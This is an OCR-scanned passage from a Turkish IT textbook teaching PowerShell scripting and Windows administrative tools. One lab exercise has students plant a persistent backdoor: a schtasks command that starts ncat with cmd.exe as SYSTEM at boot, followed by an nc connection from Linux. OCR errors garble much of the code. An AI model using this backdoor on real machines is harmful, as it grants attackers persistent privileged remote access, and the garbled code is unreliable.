$adet = 5

while($adet -ge 1)
{

Write-Host "PowerShell &greniyorum."
$adet--

Gorsel 4.239: While donglistinin
ornek kullanimi

Powershell Kodu

do

i
$i => ,‘sayilar.txt
$1i = %1 + 1

}

while(%$i -le 5)

Gorsel 4.240: Do while déngusuniin
ornek kullanimi



4. OGRENME BiRiMi

Fonksiyonlar: Sik kullanilan ve belli bir gérevi yerine getiren kod pargalarini bir isim altinda toplamak
icin kullanilir. Fonksiyon, bagimsiz ve adlandirilmis bir kod blokudur. Fonksiyonlar kodun yeniden
kullanilabilirligini artirir. Ayrica karmasik islemleri daha kiiclik ve yonetilebilir parcalara bolerek
programlamada modiilerlik saglar.

Geri deger dondirmeyen parametresiz fonksiyonun érnek kullanimi Gorsel 4.241’de verilmistir.

function Selamla

{
$saat = (Get-Date).Hour
if (($saat -gt 5) -and ($saat -1t 13)) { Write-Host "Ginaydin" }
elseif (($saat -ge 13) -and ($saat -1t 19)) { Write-Host "Tdnaydin" }
elseif (($saat -ge 19) -and ($saat -le 23)) { Write-Host "Iyi aksamlar" }
else { Write-Host "iyi geceler" }

}

Selamla

Gorsel 4.241: Geri deger dondirmeyen parametresiz fonksiyon kullanimi
Geri deger dondiren parametresiz fonksiyonun érnek kullanimi Gorsel 4.242’de verilmistir.

Geri deger dondirmeyen parametreli fonksiyonun 6rnek kullanimi Gorsel 4.243’da verilmistir.

PowerShell Kodu — ) PowerShell Kodu e

e ion g e . . B
function RakamUret function MesajVer($isim)
{ {
$zaman = (Get-Date).Millisecond Write-Host "Merhaba $isim"
return $zaman % 10 }
i;
SOl b ag e MesajVer "Ayse"
$rakam = RakamUret Mesajver "Hakan"
Write-Host "Uretilen rakam: $rakam"

Gorsel 4.242: Geri deger dondiren Gorsel 4.243: Geri deger dondiirmeyen
parametresiz fonksiyon kullanimi parametreli fonksiyon kullanimi

Geri deger donduren parametreli fonksiyonun 6rnek kullanimi Gorsel 4.244'de verilmistir.

PowerShell Kodu — O X
function Topla($sayil, $sayi?)
{
return $sayil + $sayi2
¥
$toplam = Topla 3 7
Write-Host "Toplam=$%$toplam"

Gorsel 4.244: Geri deger dondiren parametreli fonksiyon kullanimi

35. UYGULAMA PowerShell betik dilinin kullaniminiasagidakiadimlar dogrultusunda
gerceklestiriniz.

1. Adim: PowerShell ISE penceresini yonetici olarak galistiriniz.
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Harici argliman ve if-else ifadesini (Gorsel 4.245) kullanarak betigi olusturunuz

(SPSBoundParameters.Count génderilen harici parametre sayisini ifade eder.).

betik1 ps1 X

param($isim, $soyisim)———— Harici Argiiman
if(SPsBoundParameters.Count -eq 2)
Write-Host "Merhaba $isim $soyisim"

}

else

[=1-T- RN T XV T T

Write-Host "Uyari: Eksik parametre"

=

PS C:\Users\lise_\OneDrive\Masaiisti> .\betikl.psl -isim Mustafa -soyisim Ozer
Merhaba Mustafa Ozer

Ps C:\Users\lise_\OneDrive\Masailsti> .\betikl.psl Mustafa Ozer
Merhaba Mustaf e

Ps C:\Users\lise_\OneDrive\Masaiisti> .\betikl.psl Mustafa
Uyari: Eksik parametre

PS C:\Users\lise_\OneDrive\Masaiistii> .\betikl.psl
Uyari: Eksik parametre

Gorsel 4.245: Harici argiman ve if-else kullanimi

3. Adim: Girdi alma, veri tipi donlistiirme, operator ve if-else yapilarini kullanarak betigi olusturunuz

(Gorsel 4.246).

betik2 ps1 X

wWrite-Host "l.sayiy1l gir:"

$sayil = Read-Host «~——————————— Girdi Alma
$sayil = [int]$sayil—— Veri Tipi Déniistimii

[int]$sayi2 = Read-Host "2.sayiy1 gir" Girdi Alma
}f (($sayil % $sayi2) -eq 0) —— if-else ve Operator Kullanimi

write-Host "l.say1, 2.sayiya tam bdéliniyor."

WL~ A WhE

11 else

13 write-Host "l.say1, 2.sayiya tam bdliinmiyor."
S C:\Users\lise_\OneDrive\Masalis \betik2.psl
.sayiyl gir:

.say1y1 gir: 3
.say1, 2.sayilya tam béliniyor.

P
1
]
2
1

PS C:\Users ise_\OneDrive\Masaiistii> .\betik2.psl
1.say1yl gir
7

2.sayiy1 gir: 4
1.say1, 2.sayiya tam boldnmiyor.

Gorsel 4.246: Girdi alma, veri tipi donUstlrme, operator ve if-else kullanimi

4. Adim: Harici argiiman, fonksiyon, operator ve if yapilarini kullanarak betigi olusturunuz (Gorsel

4.247).

beticm! %

1 param{[int]$sayi) Harici Argiiman
]

3 function Mutlakpeger($sayi) Fonksiyon
4 =

5 if($sayi -1t 0) —— if Yapisi

6 {

7 $sayi=-3sayi

8

9

10 return Ssayi

11 |3
12
13 fmutlak = mutlakDeger($sayi)

14 write-Host "|3sayi]| = S$mutlak"”

ise_\OneDrive i> .\betik3.psl 5

Harici Argiliman

\onepriv > .\betik3.psl - Gonderimi

Gorsel 4.247: Harici argiiman, fonksiyon, operator ve if kullanimi
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5. Adim: PowerShell cmdlet’lerini switch yapisi ile birlikte kullanarak betigi olusturunuz (Gorsel 4.248).

betikd.ps1* X
1 cClear-Host
2 Write-Host "[1] Hizmetleri Listele"
3 Write-Host "[2] siirecleri Listele”
4 Write-Host "[3] IP Bilgilerini Listele”
5 Write-Host "[4] Kullanicilari Listele”
6 Write-Host "[X] ¢ikis"

7

8

9

$secim = Read-Host "Sec¢iminizi giriniz [1, 2, 3, 4, X]"

10 switch($secim)

11 ={

12 "1" { Get-Service }

13 "2" { Get-Process }

14 "3" { Get-NetIPConfiguration }

15 "4" { Get-LocalUser }

16 ' { ex1t }

17 } default { write-Host "Hatali secim yaptimiz." }
18

Hizmetleri Listele
Surecleri Listele
IP Bilgilerini Listele
Kullanicilari Listele
cikis
Seciminizi giriniz [1, 2, 3, 4, X]: 3

InterfaceAlias : Ethernet
InterfaceIndex -

InterfaceDescription : Intel(R) PRO/1000 MT Desktop Adapter
NetProfile.Name : Ag

IPv4Address : 10.0.2.100

IPv6Defaul tGateway

IPv4Defaul tGateway : 10.0.2.2

DNSServer : 8.8.8.8

Gorsel 4.248: Switch kullanimi

6. Adim: PowerShell cmdlet’lerini ve foreach dongiislinii birlikte kullanarak betigi olusturunuz (Gorsel
4.249).

batikS.pst X
1 fgruplar = (Get-LocalGroup) .Name
$i=0
$maksimum (Get-LocalGroup) .Count

2
3
4
5 fadet = Read-Host "Listelemek istediginiz grup adedini giriniz [1-%maksimum]"
6 foreach ($grup in S$gruplar)

7 =

8

Write-Host $grup
9 $i++
11 1f(51 -eq $adet)

13 break # ponguden ¢ikmak dcgin kullanilar.
1

PS C:Rusersx11seT\Qn¢Dr1ve\Masau§tQP :\petikS.psl
Listelemek istediginiz grup adedini giriniz [1-19]: 3
Administrators

Backup Operators
Cihaz sahipleri

h

Gorsel 4.249: Foreach dongusinin kullanimi
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7. Adim: PowerShell cmdlet’lerini ve fonksiyon yapisi ile while dongislini birlikte kullanarak betigi
olusturunuz (Gorsel 4.250).

betiké.ps1 X
1 param([int]$adet)
2 function Dizin0lustur($adet)
3
4 $i = 1
5 while($i -le Sadet){
6 if(-not (Test-Path ".\Yeni Dizin%i")){
7 New-Item "Yeni Dizin$i" -ItemType Directory
8 1
9 $i++
10 }
11 [}
12 DizinOlustur $%adet
13

PS C:\Users\lise_\OneDrive\Masausti> .\betik6.psl 2

Directory: C:\Users\1lise_\OneDrive\Masalstu

LastWriteTime

25.08.2023 02:34 Yeni Dizinl
25.08.2023 02:34 Yeni Dizin2

PS C:\Users\lise_\OneDrive\Masausti> .\betik6.psl
Directory: C:\Users\lise_\OneDrive\Masalistu
LastwWriteTime Length

25.08.2023 Yeni Dizin3
25.08.2023 02:34 Yeni Dizind

Gorsel 4.250: While dongusiinin kullanimi

8. Adim: Dizi kullanimi ile ilgili betigi olusturunuz (Gorsel 4.251).

betik7.ps1* X
1 $kullanicilar = (Get-LocalUser).Name
2
3 Write-Host "Kullanicilar Listesi”
4 f$kullanicilar
5 Write-Host
6 wWrite-Host "l.kullanmici: "$kullanicilar[0Q]
7 Write-Host "2.kullanici: "$kullanicilar[1]
8 Write-Host "Sonuncu kullanici: "$kullanmicilar[-1]
q

PS C:\Users\lise_\OneDrive\Masaustu> .\betik7.psl
Kullanicilar Listesi

Administrator

akif

Guest

lise_

varsayi lanHesap

WDAGUtT1T1tyAccount

l.kullanmici: Administrator
2.kullanici: akif —
sonuncu kullanici: WDAGUtilityAccount

Gorsel 4.251: Dizi kullanimi
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9. Adim: For déngisu kullanimi ile ilgili betigi olusturunuz (Gorsel 4.252).

betik8.ps1* X

1 %ip = "127.0.0."
?Ur(5i=l; $1 -1t 255; $i++)

ping -n 1 $ip%i

SIS B W bD

PS C:\Users\lise_\OneDrive\Masalistii> .\betik8.psl

Pinging 127.0.0.1 with 32 bytes of data:
Reply from 127.0.0.1: bytes=32 time<lms TTL=128

Ping statistics for 127.0.0.1:
Packets: Sent = 1, Received = 1, Lost = 0 (0%
Approximate round trip times in milli-seconds:
Minimum = Oms, Maximum = Oms, Average = Oms

Pinging 127.0.0.2 with 32 bytes of data:
Reply from 127.0.0.2: bytes=32 time<lms TTL=128

Ping statistics for 127.0.0.2:
Packets: Sent = 1, Received = 1, Lost = 0 (0%
Approximate round trip times in milli-seconds:
Minimum = Oms, Maximum = Oms, Average = Oms

Pinging 127.0.0.3 with 32 bytes of data:
Reply from 127.0.0.3: bytes=32 time<lms TTL=128

Ping statistics for 127.0.0.3:
Packets: Sent = 1, Received = 1, Lost = 0 (0%
Approximate round trip times in milli-seconds:
Minimum = Oms, Maximum = Oms, Average = Oms

Gorsel 4.252: For donglistinlin kullanimi

QE Asagida maddeler halinde verilen islemleri cihazinizda gergeklestiriniz.

e PowerShell ISE penceresini yonetici olarak ¢alistiriniz.

e Windows isletim sisteminde kullanilan Wi-Fi bilgilerini metin dosyasina kaydeden bir betik olus-
turunuz.

e Bir klasordeki txt uzantilh dosyalari Metinler klasoriine tasiyan bir betik olusturunuz.
e Belirtilen klasorde bulunan bos klasorleri silen bir betik olusturunuz.
e Metin dosyasi icinde bulunan alan adlarina ping atan bir betik olusturunuz.

e Belirtilen sayida ardisik dosya olusturan bir betik olusturunuz (Déngi olarak do while kullani-
niz.).

¢ Belirtilen saatte bilgisayari kapatan bir betik olusturunuz.

¢ Klavyeden girilen log tlriline ait son 20 kaydi listeleyen bir betik olusturunuz.
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4.1.10. Windows isletim Sistemi Yonetim Araglari

Yonetim araglari, kullanicilarin veya sistem yoneticilerinin cesitli gorevleri gerceklestirmek ve sistem
yonetimini kolaylastirmak i¢in kullanabilecegi bir dizi aractan olusur. Kullanicilar bu araglari kullanarak
sistemi izleyebilir, sorunlari tanimlayabilir ve ¢c6zmek icin gerekli adimlari uygulayabilir. Ayrica glivenlik
yapilandirmalari ile ilgili ayarlamalar da yénetim araglari kullanilarak yapilabilir.

Windows 11 isletim sisteminde yonetim araglarini agmak icin goérev cubugunda bulunan Baglat
menisine tiklanir. Arama cubuguna Windows araclari yazilir. Arama sonucunda c¢ikan Windows
Araglari uygulamasina tiklanarak yonetimsel araclar penceresi acilir (Gorsel 4.253).

L% » Denetim Masasi + Sistem ve Glvenlik > Windows Araglan

Denetim Masasi

. || Adim Kaydedicisi oe Bilesen Hizmetleri k Bilgisayar Yonetimi
- oo -

Geligmis Gavenlik Ozellikli

Disk Temizleme ¥ z T Grev Yaneticisi
Windows Defender Glivenlik Duvan | A 5 Feuc
I_JJ

| Gorev Zamanlayia
L ¥

%)\ Kaynak izleyicisi
Q) aynak lzleyicisi

ODBC Data Sources (32-bit)

-y

Hizmetler iSCSI Baglaticisi ~ Karakter Eglem
(o Al

~

&?) Kayit Defteri Dizenleyicisi

Komut istemi Kurtarma Strficisd

o .

ODBC Veri Kaynaklan (64-bit)

[} Olay Gérlintileyicisi
2 h Ig

h Sistem Bilgisi
% Windows Bellek Tamilama

‘ Sistem Yapilandirmasi

D ‘ Windows Media Player Legacy
i

\ \ Performans izleyicisi
@

E Ii\’ Strtcileri Birlestir ve lyilegtir
E Windows PowerShell

Power Automate

~ Uzak Masadistll Baglantisi
T
E Windows PowerShell (x86)

e
E Windows PowerShell ISE (x86) = WordPad 7 Yazdirma Yonetimi
—

=

E Windows PowerShell ISE
==

ﬁ Yerel Guvenlik likesi

@ Galistir

Gorsel 4.253: Windows Araglari menisi

Windows yonetim araclari, Windows’un farkl stirimlerine gore degisiklik gosterebilir. Sikga kullanilan
yonetim araglarindan bazilari bashklar halinde verilmistir.

Bilgisayar Yénetimi: Windows’un sistem, depolama yonetimi, hizmetler ve uygulamalar ile ilgili
araclarina tek bir pencerede erisim imkani sunar.

Denetim Masasi: Windows’un sistem ve glvenlik, ag ve internet, kullanici hesaplari, programlar,
goriinim ve kisisellestirme, donanim gibi ayarlarini yapilandirmak igin kullanilir.

Disk Temizleme: Windows sistemdeki gecici ve gereksiz dosyalari temizlemek igin kullanilir.

Gelismis Giivenlik Ozellikli Windows Defender Giivenlik Duvarni: Gelen-giden ag trafigini kontrol etmek
ve tehditleri engellemek icin kullanilir.

Gorev Yoneticisi: Calisan sirecleri izlemek ve yonetmek icin kullanihr.

Gorev Zamanlayici: Belirli gorevlerin veya programlarin otomatik olarak galistirilmasini zamanlamak
icin kullanilir.

Hizmetler: Arka planda galisan tim hizmetleri gériintiilemek ve yonetmek igin kullanilir.

Kaynak izleyicisi: CPU, disk, bellek ile ag kaynaklarinin kullanimini takip etmek ve performanslarini
izlemek icin kullanilir.

Kayit Defteri Diizenleyicisi: Windows isletim sisteminde donanim, yazilim ve kullanici yapilandirma
ayarlarinin saklandigi hiyerarsik bir veri tabanidir.
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Olay Goriintiileyicisi: Sistemde gerceklesen bazi olaylari ve giinlik kayitlarini goriintilemek igin
kullanihr.

Performans izleyicisi: Sistemin performans verilerini gercek zamanli olarak veya bir giinliik dosyasindan
gorintilemek igin kullanilir.

Sistem Bilgisi: Donanim kaynaklari, multimedya, ag, depolama vb. bilesenler ve yazilim ortami hakkinda
detayli bilgiler sunar. isletim sistemi adi, stirimdi, sistem tiirii, islemci, BIOS modu gibi bircok bilgiyi
sistem Ozeti olarak gosterir.

Sistem Yapilandirmasi: Baslangi¢ ve 6nylikleme ayarlarini degistirmek igin kullanilr.

Yerel Giivenlik ilkesi: Bir bilgisayarin yerel giivenlik ayarlarini yapilandirmak icin kullanilir. Bilgisayarin
glivenlik diizeyini artirmayi amaclar. Bunun icin hesap ilkeleri, yerel ilkeler, yazilim kisitlama ilkeleri gibi
glivenlik ayarlari gerceklestirilir.

Windows yonetim araglari ve kullanimi hakkinda arastirma yapiniz. Bu
araglari  kullanarak uygulamalar gerceklestiriniz. Arastirma sonuglarini ve
gerceklestirdiginiz uygulamalarirapor haline getiriniz. Calismanizi arkadaslarinizla
paylasiniz.

36. UYGULAMA Yonetimsel araglarin kullanimini asagidaki adimlar dogrultusunda

gerceklestiriniz.

1. Adim: Hesap Makinesi uygulamasini calistiriniz.
2. Adim: Windows araglari penceresini aginiz.

3. Adim: Yonetimsel araglardan Gérev Yoneticisini acip Uygulamalar kismindan Hesap Makinesi slirecini
bulunuz. Ardindan siirecin lizerinde sag tus yaparak Gérevi sonlandir secimini yapiniz [Hesap Makinesi
uygulamasinin kapatildigindan emin olunuz (Gorsel 4.254).].

= > = o E
Gorev Yoneticisi 2 Aramak igin bir ad, yayimei veya PID girin
= f§|emler Pa Yeni gérevi calistir @ Gorevi sonlandir LLL
| B islemler o %11 %38 %0 %0
Ad Durum CPU Bellek Disk Ag
Performans
Uygulamalar (5) ‘I
@ Uygulama gecmisl T Ekran Alintist Araci %0 56,1 MB 0 MB/sn 0 Mby/sn
P Baglangig uygulamalar b | Gorev Yéneticisi %34 43,6 MB 0 MB/sn 0 Mb/sn
B Hesap Makinesi (2) - = %0 19,5 MB 0 MBy/sn 0 Mb/sn
& Kullanicilar Geniglet
* Microsoft Yanetim Konsolu %0 29,5 MB 0 MB/sn 0 Mb/sn
= Aynintilar > e Windows Gezgini %0 15,3 MB 0 MB/sn 0 Mb/sn
i S Kaynak degerleri >
i r nl mieri
{3 Hizmetler a plan iglemleri (34) Geri bildirim sagla
B Antimalware Service Executable ; %0 1723MB 01 MBfsn 0 Mb/sn
"W Application Frame Host %0 21,8 MB 0 MB/sn 0 Mb/sn
Ara (3) %11 17,0 MB 0 MB/sn 0 Mb/sn
> @ Ayarlar t %0 0MB 0 MB/sn 0 Mby/sn
ﬁi} Ayarlar » (W Baglat (2) o %0 27.0 MB 0 MB/sn 0 Mb/sn
% P - y Gevrimigi ara
> — Riribtiris Al Cletami | lumnlamaes an ERR V-] A MRfen 0 Atk fen

Gorsel 4.254: Gorev Yoneticisi aracinin kullanimi
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4. Adim: Yonetimsel araglardan Gérev Zamanlayicisini agip Eylemler kismindan Temel Gérev Olustur...
secenegine tiklayiniz (Gorsel 4.255).

@ Gesrev Zamanlayic
Dosya Eylem  Gorindm  Yardim

s ™ Hi

apimominion R
» [ Gérev Zamanlaya Kitaphe | Gérev Zamankayic (Yerel) -~
| Gorev Zamaniayiciya Genel Baiug -l Baska Bir Bilgisayara Baglan_
l-n ilgi intiginiz zamanlar ik olarak gahitiracagi genel gerevier olug bunlan y igin T Temel Garev Olugtur...
() GérevZ layrci'yn kull 5 igin Eylern ande bir komutu tiklatin,

% Gorev Olugtur.
Gorevier, Gorev Zamanlayici Kitaphdi'ndaki klastrierde depelanir. Belirli bir gorevi garintulernek veya onunla ilgili iglem Gorev Al
yapmak igin Gorev Zamanlayici Kitapligi'nda gérevi secin ve Eylem menisinde bir komutu tikdatin. -

T Tim Galisan Gorevier Gornintide

| Gorev Durumu =] W | & Tum Gorevier Gegmisini Etkindes-.
AT Hi Hesabi Yapiland,
Agadida belirtilen dénemde baglatilan gorevierin durumu: Son 24 saat ") et Hapendmes
Gorinim ]
Ozet: toplam 0 - gahgan 0, baganh 0, durdurulan 0, bagansz 0 G Yenile
Garey Adi Cahgrma = Cahstrma Bagl.  Caligurma Bitigi  Tetikleyen o
| Etkin Garevier |
Etkin gérevler, su anda etkin olan ve heniz sGresi dolmamsg garevierdir,
Ozet: Toplam 114
— Son yenileme: 25.08.2023 16:16:51 Wenile

Gorsel 4.255: Gorev Zamanlayici ile temel gorev olusturma

5. Adim: Temel Gorev Olustur sekmesinde zamanlanacak gorevin adini ve acgiklamasini girip Sonraki
butonuna tiklayiniz (Gorsel 4.256).

Basit Gorev Olusturma Sihirbazi X

‘ Temel Goérev Olustur

Temel Gorev Olugtur Sik kullanilan bir gérevi hizla zamanlamak icin bu sihirbazi kullanin. Birden ¢ok gorev eylemi

Tetikleyici veya tetik gibi daha gelismis secenekler ya da ayarlar igin, Eylemler bolmesinde Gorev Olugtur
komutunu kullanin.

Eylem )

S Ad: Zamanlanmis Not Defteri

Aciklama:  Belirtilen zamanda not defteri uygulamasi agilir.

Gorsel 4.256: Temel gorevin adini ve agiklamasini belirleme

6. Adim: Tetikleyici sekmesinde gorevin calisacag sikligi secip Sonraki butonuna tiklayiniz (Gorsel
4.257).

Basit Gorev Olusturma Sihirbazi X

@ Gorev Tetikleyicisi

Temel Gorev Olustur Gorevin ne zaman baglamasini istiyorsunuz?

O Gunlak

Bir Kez
() Haftalik
Eylem
Son O Aylik
© Birkez

() Bilgisayar baslatildiginda
< Geri iptal

Gorsel 4.257: Gorevin galisacagi siklig belirleme
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7. Adim: Tetikleyici sekmesinde gorevin baslayacagi tarih ve saati secip Sonraki butonuna tiklayiniz
(Gorsel 4.258).

Basit Gérev Olusturma Sihirbazi

@ Bir Kez

| Temel Gorev Olugtur
Tetikleyici

ke

i Eylem

Baslangic: 25082023 [~ 173139 +  [JJ Saat dilimlerinde esitle

Program baslat
Son

< Geri Iptal

Gorsel 4.258: Gorevin galisacagi tarih ve saati belirleme

8. Adim: Eylem sekmesinde gorevin gergeklestirecegi eylemi segip Sonraki butonuna tiklayiniz (Gorsel
4.259).

Basit Gérev Olusturma Sihirbazi

"‘"®| Eylem
Temel Gorev Olugtur
Tetikleyici

Bir Kez
© Program baslat
Son

() E-posta gonder (kullanim digi)

Géorevin hangi eylemi gergeklestirmesini istiyorsunuz?

() lleti gorantdle (kullanim dig)
< Geri iptal

Gorsel 4.259: Gorevin gerceklestirecegi eylemi segme

9. Adim: Eylem sekmesinde calistirilacak programi notepad.exe olarak belirtip Sonraki butonuna
tiklayiniz (Gorsel 4.260).

Basit Gdrev Olusturma Sihirbazi

@ Program Baslat

Temel Gorev Olugtur

Tetikleyici Program/komut dosyas:
[ R notepad.exe Gozat...
| Eylem

Bagimsiz degiskenler ekle (istege baglh):

Son Baslangig (istege bagh):

< Geri Iptal

Gorsel 4.260: Calistirilacak programi belirleme
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10. Adim: Son sekmesinde yapilan ayarlari kontrol ederek Son butonuna tiklayiniz (Gorsel 4.261).

Basit Gérev Olusturma Sihirbaz A

"@ Ozet

Temel Gorev Olustur

Tetikleyici Ad: Zamanlanmig Not Defteri
| BirKez
| Eylem

Aciklama:  Belirtilen zamanda not defteri uygulamasi agilir.

Program baslat

Son

Tetikleyici:  Bir kez; 25.08.2023 tarihinde 17:31 saatinde

Eylem: Program baslat; notepad.exe

(] Son'u tiklattigimda, bu gorevin Ozellikler iletisim kutusunu ag

Son'u tiklattiginizda, yeni gorev olugturulur ve Windows zamanlamaniza eklenir.

| e oo

Gorsel 4.261: Zamanlanmis gorevi olusturma

11. Adim: Olusturulan zamanlanmis gorevi inceleyiniz ve belirlediginiz zaman geldiginde not defteri
uygulamasinin galistigini dogrulayiniz (Gorsel 4.262).

Ad Durum  Tetikleyiciler Eylermist
(5 MicrosoftEdgeUpdateTaskMa.. Hazir  Birden gok tetikleyici tanimlandi Gérev Zamanlayici Kitaphg =)
(5 MicrosoftEdgeUpdateTaskMa.. Hazir  Her giin 03:25 saatinde - Tetiklendikten sonra, 1 giin stiresi boyunca yineleme araligi: 1 saat. E Temel Gérev Olustur...
¢ Hazir ihinde 20:18 saatinde - Tetiklendikten sonra, belirsiz streyle yineleme araligi: 1.00:001 o
= Gorev Olugtur...
1900 iklendikten sonra, belirsiz stireyle yineleme aralig: 1.00:00:0
: Gorey Al
inde 1731 saatinde
B Tom Calisan Gorevieri Gorintile
] Tum Gérevier Gegmisini Devre ..
™| Yeni Klasér..
1 G J
G Yenile
Genel  Tetikleyiciler Eylemler Kosullar Ayarlar Gegmis
— ﬂ Yardim
¥ Olay sayisi: 15
Diey  Tarihve Saat OlayKimligi  Gérev Kategorisi Islem Kodu Bagints Kimli.. ¥ caisti
@Bilgi 25082023 17:31:40 102 Gérevtamamland (2 83b03e58-6... Sonland
— L]
@ silgi 25082023 17:3140 201 Eylem tamamlandi @ 83b03€58-6.. mancl
(@Bilgi 25082023 17:3139 200 Eylem baslatildi a 83b03e58-6... & Dewre Digi Birak
@Bilgi 25082023 17:3139 100 Garey Baslatildi U] 83b03e58-6.. Ver...
@Bilgl 25.08.2023 17:31:39 129 Gérev Islemi Olugturuldu Bilgi & Ozellikler
@Bilgi 25082023 17:31:39 107 Gorev zamanlayiada tetiklendi Bilgi 83b03e58-6..
@Bilgl 2508.2023 17:29:19 140 Gérev kaych glincellestirildi Bilgi x il
Yardim
Olay 201, TaskScheduler x
Genel  Aynntilar
Gorev Grevinin "{83b03e58-6de1-496d-bb32-99c24f12409)" I
[FESE N S e
Ganlik Adr: Microsaft-Windows-TaskScheduler/Calisiyor

Gorsel 4.262: Zamanlanmig gorevin ¢alismasi

12. Adim: Yonetimsel aracglardan Hizmetleri acip Cografi Konum Hizmetini bulunuz.
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13. Adim: Hizmetin Uzerinde sag tus yapip Durdur secimini yaptiktan sonra hizmetin durduruldugundan
emin olunuz (Gorsel 4.263).

Hizmetler = o X
Dosya Eylem Gorindm  Yardim
ap T Ed= Hm venwp
|’ Hizmetler (Yerel) . Hizmetler (Yerel)

| Cografi Konum Hizmeti Ad Agklama Durum Baslangig Tari Farkl Oturum Ag
| . i -.-'_;«"_‘ Bluetoath Destek Hizmeti Bluetoath hizme._ Manuel (Tetikleyici Ba.  Local Service
::;:::: i"n £}, Bluetooth Ses A Gecidi Hizmeti  Bluetooth Eller B._. Manuel (Tetikleyici Ba_  Local Senice
i (£ BluetoothUserService_38397 Bluetooth kullan... Manuel (Tetikleyici Ba..  Local System
S., BranchCache Bu hizmet, yerel . Elle Network Service
Aw:lvama: o . 1), CaptureSenvice_38397 Windows Graphi.. Galigyor  Elle Local System
1 Biharna siamin gese ! E{ chdhswe_38397 Bu kullariar hizm..  Caligiyor Otomatik (Gecikmeli ..  Local System
| konumunu izler ve cografi olarak % %
| siirh alanlan (iligkili olaylanyla -%'; CDPUserSwc_38397 Bukullania hizm..  Cahgiyor  Otomatik Local System
birlikte bir cografi konum) yonetir. Bu 0} Cihaz Yonetimi Kablosuz Uygula..  Cihaz tarafindan .. Manuel (Tetikleyici Ba..  Local System
hizmeti kapatirsaniz, uygulamalar £ CNG Anahttar Yalitimi CNG anahtar yali.. Galigiyor  Manuel (Tetikleyici Ba.  Local System
cografi olarak simrh alanlan - = . -
kullanamaz veya bu alanlarla ilgili 4 Cografi Konum Hizmeti Bu hizmet sistem.. Calisiyor ( ;
bildirim alamaz. &), COM+ Olay Sistemi Abore Bilesen M.  Caligiyor  Otomatik
-,'.;‘: COM+ Sistem Uygulamas Bilegen Nesne M_ Elle
£ ConsentUxlUserSve_38397 Sistemin, uygula.. Elle
£} CoreMessaging Manages comm..  Calisiyor Otomatik
._C‘;,"‘ CredentialEnrollmentManagerl..  Kimlik Bilgisi Ka_ Elle Yeniden Baslat
L) Clizdan Hizmeti Clzdan istemcile.. Elle
€} Calisma Klasérleri Bu hizmet dosyal... Elle Tim Gorevier >
L Cevrimdizi Dosyalar Cevrimdis Dosy.. Manuel (Te Yeral
s fenile
&), Dagiulmig Baglant lzleme Istem... Bir bilgisayardak.. Calisiyor  Otomatik
e Dagiilmig lslem Dizenleyicisi Veritabanlan, ilet.. Elle Ozellilder
() Dagitilmig Islem Dizenleyicisi ici.. Dagitilmis lslem .. Manuel (Te
), DCOM Sunucusu lglem Baglatiosi  DCOMLAUNCH .. Galisor  Otomatik Yardim
,:;i! deswe Bildirilen Yapilan.. Manuel (Tetikleyici Ba_.  Local System
C;& Depolama Hizmeti Depolama ayarla.. Caligiyor Otomatik (Gecikmeli . Local System
- &), Depolama Katmanlan Yonetimi  Verilerin, sistemd.. Elle Local System
|\ Genigletilmis A Standart /

Yerel Bilgisayar (zerinde Cografi Konum H‘»zmeli hizmej:lpj duydur

Gorsel 4.263: Hizmeti durdurma

SIRA

Asagida maddeler halinde verilen islemleri cihazinizda gerceklestiriniz.

e Everything (Her seyi ara) programini kurunuz.
e Everything programini kullanarak dosya aramasi yapiniz.

e Windows sisteminin arama 6zelligini de kullanarak ayni dosyayi arayiniz ve yéntemlerden hangi-
sinin daha hizli arama gergeklestirdigini tespit ediniz.

e Sysinternals Suite araclarini https://learn.microsoft.com/en-us/sysinternals web sayfasindan in-
diriniz.

¢ Sysinternals Suite araglarindan biri olan Process Explorer yazilimini ¢calistiriniz ve programin 6zel-
liklerini kullanarak sistemde c¢alisan siiregleri inceleyiniz.

e Sysinternals Suite araglarindan biri olan Autoruns yazilimini ¢alistiriniz ve programin Services sek-
mesindeki hizmetleri inceleyiniz.

e Nmap yazimini nmap.org web sitesinden indirip bilgisayarin C: dizini icine kurunuz.
e Komut istemini yonetici olarak ¢alistiriniz.

¢ Windows komut satirina schtasks /create /tn “backdoor” /tr “cmd /C ‘c:\\Nmap\\ncat.exe -lvp
1234 -e cmd.exe’” /rl HIGHEST /ru SYSTEM /sc ONSTART komutunu yazarak arka kapi olusturu-
nuz.
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e Komutu calistirdiktan sonra gérev zamanlayicisini a¢ip adi backdoor olan gorevin olustugundan
emin olunuz.

e Windows makine ile ayni agda bulunan bir Linux makine hazirlayiniz. Linux isletim sisteminin ko-
mut satirina nc [Windows makine IP adresi] 1234 komutunu yazarak Windows makineye erisim
saglayiniz (Komutta belirtilen 1234 degeri port numarasidir.).

¢ Linux komut satirinda C:\Windows\system32> ifadesinin goriindiigiinden emin olunuz.
e Komut satirina whoami komutunu yazarak sonucu inceleyiniz.
e Yonetimsel araclardan Hizmetleri acip Cografi Konum Hizmetini baslatiniz.

Sistem her acildiginda tekrar shell alinabilecek bir arka kapi olusturmak icin ters "
baglanti (reverse shell) komutu zamanlanmis gorevlere eklenir. Reverse Shell “01
komutunu zamanlanmis gorevlere eklemek igin schtasks komutu kullanilir. \' =

Bu komut ile kullanilan parametreler sunlardir:

o /create: Gorev olusturur. o /rl: Calisma dizeyini belirtir.
e /tn: Gorevin adini belirtir. e /ru: Calisma haklarini belirtir.
o /tr: Tetiklenecek islemi belirtir. e /sc: Gorevin calistiriima sikhgini belirtir.

4.2. SUNUCU iSLETiM SISTEMLERI

Sunucu isletim sistemleri genellikle istemci-sunucu mimarisine dayali olarak calisir. Sunucular; web,
mail, FTP, SSH, veri tabani, DHCP, DNS gibi temel hizmetleri istemci bilgisayarlara saglar (Gorsel 4.264).
Sunucular bir veya daha fazla hizmeti lzerinde barindirabilir. Sunucularin hizmetlerini ¢ok sayida
istemciye kesintisiz olarak vermesi beklenir. Bu nedenle sunucu bilgisayarlarin daha ylksek performans,
daha fazla giivenlik ve yonetim 6zelligi sunmasi gerekir. Bu gereklilikleri saglamak igin sunucularin 6zel
ve gelismis sistem yazilimlarina ihtiyaci vardir. Bu sistem yazilimlarina sunucu isletim sistemi adi verilir.
Sunucularin aga bagh istemcilerle veri alisverisi yapmasini ve sistem kaynaklari ile sistem hizmetlerini
paylasmasini sunucu isletim sistemleri gerceklestirir.

HTTP / HTTPS |

Gorsel 4.264: Sunucu hizmetleri
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L
Bugtin yaygin olarak kullanilan sunucu isletim sistemlerinden bazilari sunlardir:

e Linux Tabanli Sunucu isletim Sistemleri

* Arch Linux Server * Red Hat Enterprise Linux Server
